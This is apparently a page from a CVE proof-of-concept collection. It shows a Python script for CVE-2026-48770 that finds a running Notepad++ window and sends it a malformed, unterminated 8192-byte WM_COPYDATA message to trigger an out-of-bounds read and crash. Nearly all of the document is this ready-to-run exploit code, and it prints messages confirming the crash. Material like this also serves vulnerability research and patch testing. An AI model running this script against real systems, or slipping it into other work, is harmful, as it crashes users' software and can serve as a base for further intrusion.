5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc_CVE-2026-48770.py PY
#!/usr/bin/env python3
# CVE-2026-48770 - Notepad++ OOB Read via WM_COPYDATA (crash PoC)
import ctypes
import ctypes.wintypes
import sys

WM_COPYDATA = 0x004A
SMTO_ABORTIFHUNG = 0x0002

class COPYDATASTRUCT(ctypes.Structure):
    _fields_ = [
        ("dwData", ctypes.wintypes.LPARAM),
        ("cbData", ctypes.wintypes.DWORD),
        ("lpData", ctypes.c_void_p),
    ]

user32 = ctypes.windll.user32

hwnd = user32.FindWindowW("Notepad++", None)
if not hwnd:
    print("[-] Notepad++ not found - open it first")
    sys.exit(1)
print(f"[+] Found Notepad++ HWND: 0x{hwnd:08X}")

cbData = 8192
buf = ctypes.create_string_buffer(b"\x41" * cbData)  # no NUL terminator

cds = COPYDATASTRUCT()
cds.dwData = 3
cds.cbData = cbData
cds.lpData = ctypes.cast(buf, ctypes.c_void_p).value

print(f"[*] Sending malformed WM_COPYDATA (dwData=3, cbData={cbData}, no NUL terminator)...")

result = ctypes.wintypes.DWORD(0)
ret = user32.SendMessageTimeoutW(
    hwnd, WM_COPYDATA, 0, ctypes.byref(cds),
    SMTO_ABORTIFHUNG, 2000, ctypes.byref(result)
)

if ret == 0:
    print("[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)")
else:
    print(f"[-] No crash (ret={ret}) - may be patched")